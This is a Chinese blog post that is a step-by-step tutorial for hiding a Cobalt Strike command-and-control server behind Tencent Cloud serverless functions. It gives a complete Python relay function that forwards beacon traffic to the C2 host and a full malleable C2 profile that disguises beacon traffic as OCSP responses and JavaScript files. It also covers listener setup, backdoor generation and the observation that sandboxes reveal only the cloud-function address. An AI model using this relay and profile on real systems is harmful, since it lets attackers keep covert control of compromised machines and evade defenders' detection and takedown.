使用云函数隐藏C2服务器

介绍

这个技术最先是在今年的3月份国外提出的,他们利用 azure 对 C2 进行隐藏,国内也有相对应的 云函数厂商,于是我们就尝试使用云函数对我们的 C2 服务器进行隐藏。

这个技术的核心原理是利用云函数将我们的请求进行转发(和一些使用第三方应用进行转发是一样的);C2客户端发出的流量经过 云函数的转发,到达我们的C2服务器,达到隐藏的效果,并且因为云函数的服务器是自带 CDN 的,所以为我们的信息传递提供了加速的效果,但是转发的途中有损耗,不能像直接连接那样快,但是足够让我们感受到快乐了。(引自狼组团队文章)

参考链接:

https://mp.weixin.qq.com/s/gfBE-HaUCgQw8L0QByqTDA (来源于WgpSec狼组安全团队)

https://mp.weixin.qq.com/s/pqa-ce1Rdc0jKbdPUtsxyg

https://blog.csdn.net/god_zzZ/article/details/109057803 (这篇没参考,网上搜到的,但是写的很好,留存)

具体实现

文章中提到,要使用cs4.1版本,4.0不行,我平时用的就是4.1,所以没有测试其他版本是否有问题。

如果要实现,建议先看下狼组安全的文章,里面有一些原理的部分,对实验操作的理解有帮助。

文章最先演示了一遍云函数的调用,我这边就不演示了,只写实现的部分。

创建云函数

以2021年4月20日为例,因为我发现腾讯云平台也会进行页面的更新,页面的内容会有变化。

登录腾讯云平台,访问云函数功能链接:https://console.cloud.tencent.com/scf/list?rid=8&ns=default。点击新建,创建方式选择自定义创建。函数名称可以自定义进行设置,主要是函数代码部分,将下面内容复制到函数代码中:

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)
    
    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

C2的值填写c2服务器地址就可以了,后面也不再需要增加:80:443,点击完成后,云端会部署函数。

创建完成。

选择第二个功能:触发管理,创建触发器。触发版本选择$LATEST,触发版本选择API网关触发,其余的就不需要动了,点击提交

触发器创建完成,点击API服务名,进入到管理API页面,在刚新建的API上,点击编辑。在编辑API页面中,将路径改为/,点击立即完成-发布服务即可。

服务端新增profile文件

将下面的文件内容复制下来,保存到x.profile文件中,注意后缀。放到team server服务端根目录下,启动时,加载该配置文件。

set sample_name "kris_abao";

set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/getit";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

设置监听器

管理API页面中,点击我们刚创建的APIid,进入到api的基本信息页面,我们要使用的是默认访问地址,用在cobalt strike创建监听器时使用。创建监听器时,我选择的是http,然后在HTTP HostsHTTP Host(stager)填入之前复制的地址。(这里是否选择http协议,根据你函数里的类型来选择)

监听器创建完成后,生成后门程序,在靶机运行既可上线。

云查杀

使用微步云沙箱对生成的后门文件进行查杀,只能解析出腾讯云函数地址。

有意思的事,用微步云沙箱跑完后,沙箱竟然上线了,哈哈,第一次碰到这个情况。

后记

在使用时发现一些坑点:

  1. 不能100%上线,会存在上线不了的情况,上线时调用云函数会有失败的情况。也有可能是我这边的问题,大家可以自己试下。
  2. 使用win7和win10作为靶机时,上线成功率较高,但是2012一直没有上线成功。
  3. 靶机上线后,源IP(内网IP不会变)会一只在变但是并不影响使用,命令可以照常执行。文章中给出的获取当前主机的方式是使用curl命令。shell curl ident.me,前提是靶机得有类似的工具。

总结

这种方式也还行,命令执行的速度也还可以,不慢。这也是隐匿方式的一种吧。

本博客虽然很垃圾,但所有内容严禁转载
posted @ 2021-04-20 14:22  Антон  阅读(891)  评论(1编辑  收藏  举报